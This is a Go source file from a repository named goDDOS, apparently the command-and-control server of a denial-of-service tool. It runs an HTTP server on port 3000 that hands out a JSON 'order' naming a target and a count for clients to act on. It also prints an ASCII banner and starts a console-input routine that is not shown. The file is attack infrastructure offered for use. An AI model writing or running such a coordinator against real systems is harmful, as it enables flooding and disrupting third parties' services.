arnaucube
arnaucube/goDDOSPublic Self-hosted repository
goDDOS/v2/server/main.go
v2/server/main.goRaw
 1package main
 2
 3import (
 4	"encoding/json"
 5	"fmt"
 6	"log"
 7	"net/http"
 8
 9	"github.com/fatih/color"
10)
11
12const PORT = "3000"
13
14type Order struct {
15	Target string `json:"target"`
16	Count  int    `json:"count"`
17}
18
19var currentOrder Order
20
21func getOrder(w http.ResponseWriter, r *http.Request) {
22	jsonr, err := json.Marshal(currentOrder)
23	if err != nil {
24		log.Panic(err)
25	}
26	fmt.Fprintln(w, string(jsonr))
27}
28
29func handleRequests() {
30	http.HandleFunc("/", getOrder)
31	log.Fatal(http.ListenAndServe(":"+PORT, nil))
32}
33
34func main() {
35	asciiTitle := `
36
37	              _____  _____   ____   _____
38	             |  __ \|  __ \ / __ \ / ____|
39	   __ _  ___ | |  | | |  | | |  | | (___
40	  / _' |/ _ \| |  | | |  | | |  | |\___ \
41	 | (_| | (_) | |__| | |__| | |__| |____) |
42	  \__, |\___/|_____/|_____/ \____/|_____/
43	   __/ |
44	  |___/					v.2
45	`
46	color.Blue(asciiTitle)
47
48	fmt.Println("server running at port " + PORT)
49
50	go consoleInput()
51
52	handleRequests()
53}